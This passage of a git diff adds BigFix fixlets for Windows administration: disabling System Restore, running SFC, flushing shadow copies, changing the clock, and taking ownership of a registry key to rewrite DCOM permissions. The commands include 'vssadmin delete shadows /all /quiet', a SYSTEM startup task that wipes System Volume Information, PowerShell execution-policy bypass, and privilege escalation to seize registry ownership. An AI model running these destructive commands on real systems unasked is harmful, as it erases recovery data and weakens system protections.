+	parameter "PowerShellExists" = "False"
+endif
+
+if {(parameter "PowerShellExists") is "True"}
+	waithidden powershell -executionpolicy bypass "[System.IO.DriveInfo]::GetDrives() | ? {{$_.DriveType -eq 'Fixed'} | % {{Disable-ComputerRestore -Drive $_}"
+else
+	// Disable System Restore via wmi & vbcript.
+	delete __createfile
+	delete run.vbs
+
+	createfile until _end_
+' Original source: http://windowsitpro.com/scripting/rem-disabling-system-restore
+Option Explicit
+Dim SystemRestoreEnabled, objRP, ReturnCode
+
+' Check if computer has any restore points.
+SystemRestoreEnabled = False
+For Each objRP In GetObject("winmgmts:{{impersonationlevel=impersonate}!root/default").InstancesOf("SystemRestore")
+  SystemRestoreEnabled = True
+  Exit For
+Next
+
+ReturnCode = 0
+
+If SystemRestoreEnabled Then
+  ' Disable System Restore for all drives on the computer
+  ReturnCode = GetObject("winmgmts:{{impersonationLevel=impersonate}!root/default:SystemRestore").Disable("")
+End If
+
+Wscript.Quit ReturnCode
+	_end_
+
+	move __createfile run.vbs
+
+	override wait
+	hidden=true
+	completion=job
+	wait cscript.exe run.vbs
+endif
+
+// The above code for Win7 simply disables the ability to restore system restore points.
+// There is additional work needed to:
+// 1. Disable the built in scheduled task that periodically creates restore points.
+// 2. Remove a registry key that may have some drives as System Restore 'clients'.
+// 3. Delete any existing restore points.
+// 4. Clean up the System Volume Information folders after the next reboot.
+if {windows of operating system and version of operating system >= "6.1"}
+	// 1. Disable the built in scheduled task that periodically creates restore points.
+	parameter "SysRestoreTaskPath" = "\Microsoft\Windows\SystemRestore\SR"
+	if {exists scheduled task whose (path of it is (parameter "SysRestoreTaskPath") and enabled of it)}
+		waithidden schtasks /change /tn {parameter "SysRestoreTaskPath"} /disable
+	endif
+
+	// 2. Remove a registry key that may have some drives as System Restore 'clients'.
+	action uses wow64 redirection false
+	parameter "SysRestoreClientPath" = "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SPP\Clients"
+	waithidden reg delete "{parameter "SysRestoreClientPath"}" /va /f
+
+	// 3. Delete any existing restore points.
+	waithidden vssadmin delete shadows /all /quiet
+
+	// 4. Clean up the System Volume Information folders.
+	// Any remaining files in the System Volume Information folders are usually
+	// locked / in use until the next reboot. So create a scheduled task that
+	// will delete the files at startup then delete itself (the task).
+	parameter "SysVolInfoBasename" = "DeleteSysVolInfoContents"
+	parameter "OutputFolder" = "{storage folder of client as string & "\SystemRestoreOff"}"
+	parameter "TaskScriptPath" = "{parameter "OutputFolder"}\{parameter "SysVolInfoBasename"}.bat"
+
+	if {not exist folder (parameter "OutputFolder")}
+	  folder create "{parameter "OutputFolder"}"
+	endif
+
+	// Create a script to delete the contents of all files in the System Volume Information
+	// folder on the root of any fixed drive.
+	if {(parameter "PowerShellExists") is "True"}
+		parameter "ScriptCall" = "powershell -executionpolicy bypass -file {"%22"}%~n0.ps1{"%22"}"
+		parameter "ScriptPath" = "{parameter "OutputFolder"}\{parameter "SysVolInfoBasename"}.ps1"
+		delete __createfile
+		createfile until _end_
+[System.IO.DriveInfo]::GetDrives() | ? {{$_.DriveType -eq 'Fixed'} | % {{Get-ChildItem -Path (Join-Path $_ 'System Volume Information') -Recurse | Remove-Item -Force -Recurse}
+_end_
+	else
+		parameter "ScriptCall" = "cscript {"%22"}%~n0.vbs{"%22"}"
+		parameter "ScriptPath" = "{parameter "OutputFolder"}\{parameter "SysVolInfoBasename"}.vbs"
+
+		delete __createfile
+		createfile until _end_
+option explicit
+on error resume next
+const FixedDrive = 2
+dim file, folder, objDrive, objFolder, sysVolInfoPath
+dim objFSO: set objFSO = CreateObject("Scripting.FileSystemObject")
+dim colDrives: set colDrives = objFSO.Drives
+
+for each objDrive in colDrives
+	if FixedDrive = objDrive.DriveType then
+		sysVolInfoPath = objDrive.RootFolder & "System Volume Information"
+
+		set objFolder = objFSO.GetFolder(sysVolInfoPath)
+
+		for each folder in objFolder.SubFolders
+			objFSO.DeleteFolder folder.path, true
+		next
+
+		for each file in objFolder.Files
+			objFSO.DeleteFile file.path, true
+		next
+	end if
+next
+_end_
+	endif
+
+	// Copy fails if the file exists, so delete it first.
+	// Delete calls do not fail if the file is not there.
+	delete "{parameter "ScriptPath"}"
+	move __createfile "{parameter "ScriptPath"}"
+
+	// Create the batch file that the scheduled task will use to execute the script.
+	// When it's done it will delete the task, itself and any helper files in that dir.
+	// In some instances the call to vssadmin doesn't work pre-reboot, so throw it in here again.
+	delete __createfile
+	createfile until _end_
+@echo off
+cd /d "%~dp0"
+vssadmin delete shadows /all /quiet
+{parameter "ScriptCall"}
+schtasks /delete /tn "%~n0" /f
+cd /d %systemdrive%\
+start cmd /c rd /s/q "%~dp0"&exit /b
+_end_
+
+	// Copy the batch file to the predefined path for the scheduled task.
+	delete "{parameter "TaskScriptPath"}"
+	move __createfile "{parameter "TaskScriptPath"}"
+
+	// Create the startup task.
+	// The tr argument requires the quotes to be escaped if there are spaces in the path.
+	waithidden schtasks /create /ru System /tn "{parameter "SysVolInfoBasename"}" /sc onstart /tr "\"{parameter "TaskScriptPath"}"\" /f
+
+	action requires restart "SystemRestoreOff"
+endif]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/TASK_ Change System Time (773).bes b/Sites/Windows Management/Fixlets/Fixlets/TASK_ Change System Time (773).bes
new file mode 100644
index 000000000..915810a17
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/TASK_ Change System Time (773).bes	
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : TASK: Change System Time
+  ID       : 773
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2012-12-06T21:37:04
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>TASK: Change System Time</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>(name of it = &quot;WinXP&quot; OR name of it = &quot;WinXP-2003&quot; OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR (name of it = &quot;Win7&quot; AND NOT x64 of it) OR (name of it = &quot;Win7&quot; AND x64 of it)) of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2011-08-12</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 20 Mar 2012 14:35:38 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// The following syntax can be used to set the clock to any given time
+//waithidden cmd.exe /C time 4:30:00 PM
+// The following will set the clock to the current time of the BES Server
+set clock
+</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/TROUBLESHOOTING_ Run System File Checker tool - SFC _scannow (6038).bes b/Sites/Windows Management/Fixlets/Fixlets/TROUBLESHOOTING_ Run System File Checker tool - SFC _scannow (6038).bes
new file mode 100644
index 000000000..796974466
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/TROUBLESHOOTING_ Run System File Checker tool - SFC _scannow (6038).bes	
@@ -0,0 +1,59 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : TROUBLESHOOTING: Run System File Checker tool - SFC /scannow
+  ID       : 6038
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T07:03:59
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>TROUBLESHOOTING: Run System File Checker tool - SFC /scannow</Title>
+    <Description><![CDATA[<P>From: <A href="http://bigfix.me/cdb/fixlet/1369"><FONT color=#000080>http://bigfix.me/cdb/fixlet/1369</FONT></A></P>
+<P>This task will run the Microsoft System File Checker tool. </P>
+<P><A href="http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/system_file_checker.mspx?mfr=true">http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/system_file_checker.mspx?mfr=true</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists service &quot;TrustedInstaller&quot;</Relevance>
+    <Relevance><![CDATA[version of operating system >= "5.1"]]></Relevance>
+    <Relevance>exists file &quot;sfc.exe&quot; of system x64 folder</Relevance>
+    <Category>Troubleshooting</Category>
+    <Source>Internal</Source>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2011-09-19</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 06 May 2015 13:59:23 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+// http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/system_file_checker.mspx?mfr=true
+
+// SFC relies on the &quot;TrustedInstaller&quot; service:
+//          http://www.winhelponline.com/blog/fix-for-error-windows-resource-protection-could-not-start-the-repair-service-when-running-sfc-in-vista/
+if{not exists running service &quot;TrustedInstaller&quot;}
+	waithidden cmd.exe /C net start TrustedInstaller
+endif
+
+continue if{ exists running service &quot;TrustedInstaller&quot; }
+
+// http://pic.dhe.ibm.com/infocenter/tivihelp/v26r1/index.jsp?topic=%2Fcom.ibm.tem.doc_8.2%2FPlatform%2FAction%2Fc_action_launch_preference_low_p.html
+// launch exe&apos;s with low priority settings to help prevent disrupting the user
+action launch preference low-priority
+
+// Run the System File Checker Utility
+//  http://support.microsoft.com/kb/929833
+continue if{exists running service &quot;TrustedInstaller&quot;}
+waithidden sfc /scannow
+</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/TROUBLESHOOTING_ Volume Snapshot Service - VSS - Backups (6043).bes b/Sites/Windows Management/Fixlets/Fixlets/TROUBLESHOOTING_ Volume Snapshot Service - VSS - Backups (6043).bes
new file mode 100644
index 000000000..4263c795f
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/TROUBLESHOOTING_ Volume Snapshot Service - VSS - Backups (6043).bes	
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : TROUBLESHOOTING: Volume Snapshot Service - VSS - Backups
+  ID       : 6043
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T12:14:32
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>TROUBLESHOOTING: Volume Snapshot Service - VSS - Backups</Title>
+    <Description>This task will flush all old shadow copies and set the max shadow copy storage to 10GB </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2011-08-12</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 06 May 2015 19:13:43 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//Delete all old shadow copies
+waithidden cmd.exe /C vssadmin delete shadows /all
+//Set max VSS Shadow Copy storage to 10GB
+waithidden cmd.exe /C vssadmin Resize ShadowStorage /For=C: /On=C: /MaxSize=10GB</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Take Registry Ownership and configure DCOM permissions for RunTimeBroker AppID {9CA88EE3-ACB7-47c8-AFC4-AB702511C276} (Win10_2016) (TEST!!!) (export) (25565).bes b/Sites/Windows Management/Fixlets/Fixlets/Take Registry Ownership and configure DCOM permissions for RunTimeBroker AppID {9CA88EE3-ACB7-47c8-AFC4-AB702511C276} (Win10_2016) (TEST!!!) (export) (25565).bes
new file mode 100644
index 000000000..075490e5d
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Take Registry Ownership and configure DCOM permissions for RunTimeBroker AppID {9CA88EE3-ACB7-47c8-AFC4-AB702511C276} (Win10_2016) (TEST!!!) (export) (25565).bes	
@@ -0,0 +1,196 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Take Registry Ownership and configure DCOM permissions for RunTimeBroker AppID {9CA88EE3-ACB7-47c8-AFC4-AB702511C276} (Win10/2016) (TEST!!!) (export)
+  ID       : 25565
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2018-11-08T14:52:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Take Registry Ownership and configure DCOM permissions for RunTimeBroker AppID {9CA88EE3-ACB7-47c8-AFC4-AB702511C276} (Win10/2016) (TEST!!!) (export)</Title>
+    <Description><![CDATA[<P>Example message:</P>
+<P>The application-specific permission settings do not grant Local Activation permission for the COM Server application with CLSID <BR>{D63B10C5-BB46-4990-A94F-E40B9D520160}<BR>&nbsp;and APPID <BR>{9CA88EE3-ACB7-47C8-AFC4-AB702511C276}<BR>&nbsp;to the user NT AUTHORITY\LOCAL SERVICE SID (S-1-5-19) from address LocalHost (Using LRPC) running in the application container Unavailable SID (Unavailable). This security permission can be modified using the Component Services administrative tool.</P>
+<P>Microsoft article indicates this should be ignored:&nbsp; <A href="https://support.microsoft.com/en-us/help/4022522/dcom-event-id-10016-is-logged-in-windows-10-windows-server">https://support.microsoft.com/en-us/help/4022522/dcom-event-id-10016-is-logged-in-windows-10-windows-server</A></P>
+<P>Many community forums indicate it may be an actual problem; and the presence of so many error messages from the Event Log hampers troubleshooting in all scenarios.</P>
+<P><A href="https://answers.microsoft.com/en-us/windows/forum/windows_10-other_settings/windows-10-error-10016-from-run-time-broker-cannot/3f21a980-7f1e-48e5-85ea-6aa8843ecf40">https://answers.microsoft.com/en-us/windows/forum/windows_10-other_settings/windows-10-error-10016-from-run-time-broker-cannot/3f21a980-7f1e-48e5-85ea-6aa8843ecf40</A> </P>
+<P><A href="https://social.technet.microsoft.com/Forums/en-US/fd339448-8430-4a60-9377-71fd8aae228d/comdtc-setup-with-powershell?forum=winserverpowershell">https://social.technet.microsoft.com/Forums/en-US/fd339448-8430-4a60-9377-71fd8aae228d/comdtc-setup-with-powershell?forum=winserverpowershell</A> </P>
+<P>The DCOM permissions are controlled by REG_BINARY values in a could of locations. <BR>HKLM\Software\Classes\AppID\{guid} <BR>AccessPermission:REG_BINARY <BR>LaunchPermission:REG_BINARY <BR>Each of these are binary-encoded values representing launch permissions. I've come across some PowerShell snippets that might be used to read and write these values. Changing these values first requires taking ownership of the registry key, as these are owned by TrustedInstaller.&nbsp; Given the complexity of the PowerShell scripts to apply permissions, it appears that it may be simpler to create the appropriate permissions on one host, capture those settings, and simply use reg.exe to distribute that configuration to other hosts.</P>
+<P>&nbsp;Task Notes:</P>
+<UL>
+<LI>To identify the correct permissions to set, examine the Event Log to determine which security principal is being denied Access or Launch permissions
+<LI>Take Ownership of the affected AppID by using a modified version of this Task, or the Template (which only takes ownership without changing the DCOM launch/activation permissions themselves).&nbsp; Then, use DCOMCNFG.EXE to update the permissions of the AppID, and craft a relevance using the updated registry values.
+<LI>Pro tip:&nbsp; The Relevance Statement for a given AppID can be auto-generated via the following in the Fixlet Debugger:
+<UL>
+<LI><FONT color=#ff0000 size=2><FONT color=#ff0000 size=2>
+<P>q:</FONT></FONT><FONT size=2> (</FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"exists keys %22"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&amp;</FONT></FONT><FONT size=2> pathname </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>it</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&amp;</FONT></FONT><FONT size=2> </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"%22 whose (not exists values %22AccessPermission%22 whose (it as string = %22"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&amp;</FONT></FONT><FONT size=2> value </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"AccessPermission"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>it</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>as</FONT></FONT><FONT size=2> string </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&amp;</FONT></FONT><FONT size=2> </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"%22) of it OR not exists values %22LaunchPermission%22 whose (it as string = %22"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&amp;</FONT></FONT><FONT size=2> value </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"LaunchPermission"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>it</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>as</FONT></FONT><FONT size=2> string </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>&amp;</FONT></FONT><FONT size=2> </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"%22 ) of it) of native registry"</FONT></FONT><FONT size=2>) </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> keys </FONT><FONT color=#008080 size=2><FONT color=#008080 size=2>"HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{9CA88EE3-ACB7-47c8-AFC4-AB702511C276}"</FONT></FONT><FONT size=2> </FONT><FONT color=#0000ff size=2><FONT color=#0000ff size=2>of</FONT></FONT><FONT size=2> native registry</P></FONT><FONT color=#ff0000 size=2><FONT color=#ff0000 size=2>
+<P>A:</FONT></FONT><FONT size=2> exists keys "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{9CA88EE3-ACB7-47c8-AFC4-AB702511C276}" whose (not exists values "AccessPermission" whose (it as string = "01001480bc000000c80000001400000034000000020020000100000011001400040000000101000000000010001000000000000002008800060000000000180003000000010200000000000520000000200200000000180003000000010200000000000f0200000001000000000014000300000001010000000000050a000000000014000300000001010000000000051200000000001400030000000101000000000005130000000000140003000000010100000000000514000000010100000000000512000000010100000000000512000000") of it OR not exists values "LaunchPermission" whose (it as string = "01001480a8000000b4000000140000003400000002002000010000001100140004000000010100000000001000100000000000000200740005000000000018000b00000001020000000000052000000020020000000018000b000000010200000000000f0200000001000000000014000b000000010100000000000504000000000014000b00000001010000000000050a000000000014000b000000010100000000000512000000010100000000000512000000010100000000000512000000" ) of it) of native registry</FONT></P></LI></UL></LI></UL>
+<P><FONT size=2><STRONG>Notes on testing.</STRONG>&nbsp; This&nbsp;task makes changes to some&nbsp;<EM>very</EM> deep system-level functions so treat it with care!&nbsp; </P></FONT>]]></Description>
+    <Relevance>windows of operating system AND (if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true)</Relevance>
+    <Relevance><![CDATA[version of operating system >= version "10"]]></Relevance>
+    <Relevance>exists keys &quot;{9CA88EE3-ACB7-47c8-AFC4-AB702511C276}&quot; whose (not exists values &quot;AccessPermission&quot; whose (it as string = &quot;01001480bc000000c80000001400000034000000020020000100000011001400040000000101000000000010001000000000000002008800060000000000180003000000010200000000000520000000200200000000180003000000010200000000000f0200000001000000000014000300000001010000000000050a000000000014000300000001010000000000051200000000001400030000000101000000000005130000000000140003000000010100000000000514000000010100000000000512000000010100000000000512000000&quot;) of it OR not exists values &quot;LaunchPermission&quot; whose (it as string = &quot;01001480a8000000b4000000140000003400000002002000010000001100140004000000010100000000001000100000000000000200740005000000000018000b00000001020000000000052000000020020000000018000b000000010200000000000f0200000001000000000014000b000000010100000000000504000000000014000b00000001010000000000050a000000000014000b000000010100000000000512000000010100000000000512000000010100000000000512000000&quot; ) of it) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID&quot; of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2018-11-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 08 Nov 2018 22:51:38 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection false
+
+// Special thanks to the following from which portions of this are taken
+// https://social.technet.microsoft.com/Forums/windowsserver/en-US/e718a560-2908-4b91-ad42-d392e7f8f1ad/take-ownership-of-a-registry-key-and-change-permissions?forum=winserverpowershell
+// http://powershellpainrelief.blogspot.com/2014/07/powershell-working-with-registry-part-2.html
+// http://msdn.microsoft.com/en-us/library/bb530716(VS.85).aspx
+
+action uses wow64 redirection false
+
+parameter "RootKey"="LocalMachine"
+parameter "RegKey"="SOFTWARE\Classes\AppID\{{9CA88EE3-ACB7-47c8-AFC4-AB702511C276}"
+parameter "FullKeyPath"="HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{{9CA88EE3-ACB7-47c8-AFC4-AB702511C276}"
+parameter "NewOwner"="NT AUTHORITY\System"
+parameter "AddACL"="{"%22NT AUTHORITY\System%22,%22FullControl%22,@(%22ObjectInherit%22,%22ContainerInherit%22),%22None%22,%22Allow%22"}"
+
+parameter "AccessPermission"="01001480bc000000c80000001400000034000000020020000100000011001400040000000101000000000010001000000000000002008800060000000000180003000000010200000000000520000000200200000000180003000000010200000000000f0200000001000000000014000300000001010000000000050a000000000014000300000001010000000000051200000000001400030000000101000000000005130000000000140003000000010100000000000514000000010100000000000512000000010100000000000512000000"
+parameter "LaunchPermission"="01001480a8000000b4000000140000003400000002002000010000001100140004000000010100000000001000100000000000000200740005000000000018000b00000001020000000000052000000020020000000018000b000000010200000000000f0200000001000000000014000b000000010100000000000504000000000014000b00000001010000000000050a000000000014000b000000010100000000000512000000010100000000000512000000010100000000000512000000"
+
+//Example RootKey values
+// LocalMachine; ClassesRoot; CurrentConfig; CurrentUser; Users
+
+// Example RegistryAccessFules
+// "NT AUTHORITY\System","FullControl","Allow"  ==> Applies to this key only
+// "NT AUTHORITY\System","FullControl",@("ObjectInherit","ContainerInherit"),"None","Allow"  ==> applies to this key, subkeys, and values
+
+delete __createfile
+createfile until EOF_EOF_EOF
+
+##Taken with thanks from https://social.technet.microsoft.com/Forums/windowsserver/en-US/e718a560-2908-4b91-ad42-d392e7f8f1ad/take-ownership-of-a-registry-key-and-change-permissions?forum=winserverpowershell
+
+function enable-privilege {
+ param(
+  ## The privilege to adjust. This set is taken from
+  ## http://msdn.microsoft.com/en-us/library/bb530716(VS.85).aspx
+  [ValidateSet(
+   "SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege",
+   "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", "SeCreatePagefilePrivilege",
+   "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege",
+   "SeDebugPrivilege", "SeEnableDelegationPrivilege", "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege",
+   "SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege",
+   "SeLockMemoryPrivilege", "SeMachineAccountPrivilege", "SeManageVolumePrivilege",
+   "SeProfileSingleProcessPrivilege", "SeRelabelPrivilege", "SeRemoteShutdownPrivilege",
+   "SeRestorePrivilege", "SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege",
+   "SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege", "SeSystemtimePrivilege",
+   "SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege",
+   "SeUndockPrivilege", "SeUnsolicitedInputPrivilege")]
+  $Privilege,
+  ## The process on which to adjust the privilege. Defaults to the current process.
+  $ProcessId = $pid,
+  ## Switch to disable the privilege, rather than enable it.
+  [Switch] $Disable
+ )
+
+ ## Taken from P/Invoke.NET with minor adjustments.
+ $definition = @'
+ using System;
+ using System.Runtime.InteropServices;
+
+ public class AdjPriv
+ {
+  [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
+  internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
+   ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
+
+  [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
+  internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok);
+  [DllImport("advapi32.dll", SetLastError = true)]
+  internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
+  [StructLayout(LayoutKind.Sequential, Pack = 1)]
+  internal struct TokPriv1Luid
+  {
+   public int Count;
+   public long Luid;
+   public int Attr;
+  }
+
+  internal const int SE_PRIVILEGE_ENABLED = 0x00000002;
+  internal const int SE_PRIVILEGE_DISABLED = 0x00000000;
+  internal const int TOKEN_QUERY = 0x00000008;
+  internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
+  public static bool EnablePrivilege(long processHandle, string privilege, bool disable)
+  {
+   bool retVal;
+   TokPriv1Luid tp;
+   IntPtr hproc = new IntPtr(processHandle);
+   IntPtr htok = IntPtr.Zero;
+   retVal = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok);
+   tp.Count = 1;
+   tp.Luid = 0;
+   if(disable)
+   {
+    tp.Attr = SE_PRIVILEGE_DISABLED;
+   }
+   else
+   {
+    tp.Attr = SE_PRIVILEGE_ENABLED;
+   }
+   retVal = LookupPrivilegeValue(null, privilege, ref tp.Luid);
+   retVal = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
+   return retVal;
+  }
+ }
+'@
+
+ $processHandle = (Get-Process -id $ProcessId).Handle
+ $type = Add-Type $definition -PassThru
+ $type[0]::EnablePrivilege($processHandle, $Privilege, $Disable)
+}
+
+enable-privilege SeTakeOwnershipPrivilege
+enable-privilege seRestorePrivilege
+
+$key = [Microsoft.Win32.Registry]::{parameter "RootKey" of action}.OpenSubKey("{parameter "RegKey" of action}",[Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree,[System.Security.AccessControl.RegistryRights]::takeownership)
+
+## *** Note from Jason Walker - I find the following to not be true if the system account has at least "Read Permissions" to the key.
+## Rather than starting from an empty ACL list, I instead try to start from the existing ACL list on the registry key and then modify it as needed
+# You must get a blank acl for the key b/c you do not currently have access
+#$acl = $key.GetAccessControl([System.Security.AccessControl.AccessControlSections]::None)
+
+$acl = $key.GetAccessControl()
+$me = [System.Security.Principal.NTAccount]"{parameter "NewOwner" of action}"
+$acl.SetOwner($me)
+$key.SetAccessControl($acl)
+
+# After you have set owner you need to get the acl with the perms so you can modify it.
+$acl = $key.GetAccessControl()
+$rule = New-Object System.Security.AccessControl.RegistryAccessRule ({parameter "AddACL" of action})
+$acl.AddAccessRule($rule)
+$key.SetAccessControl($acl)
+
+$key.Close()
+
+EOF_EOF_EOF
+
+
+delete TakeOwnerReg.ps1
+move __createfile TakeOwnerReg.ps1
+
+waithidden powershell.exe -ExecutionPolicy Bypass -File TakeOwnerReg.ps1
+
+continue if {exit code of action = 0}
+
+waithidden reg.exe add "{parameter "FullKeyPath" of action}" /v AccessPermission /t REG_BINARY /d {parameter "AccessPermission" of action}  /f
+waithidden reg.exe add "{parameter "FullKeyPath" of action}" /v LaunchPermission /t REG_BINARY /d {parameter "LaunchPermission" of action} /f
+
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Take Screenshot - Windows (21898).bes b/Sites/Windows Management/Fixlets/Fixlets/Take Screenshot - Windows (21898).bes
new file mode 100644
index 000000000..1de08261e
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Take Screenshot - Windows (21898).bes	
@@ -0,0 +1,368 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Take Screenshot - Windows
+  ID       : 21898
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-10-04T11:04:34
+  Source   : bigfixm1_main @ BES-Root
+-->
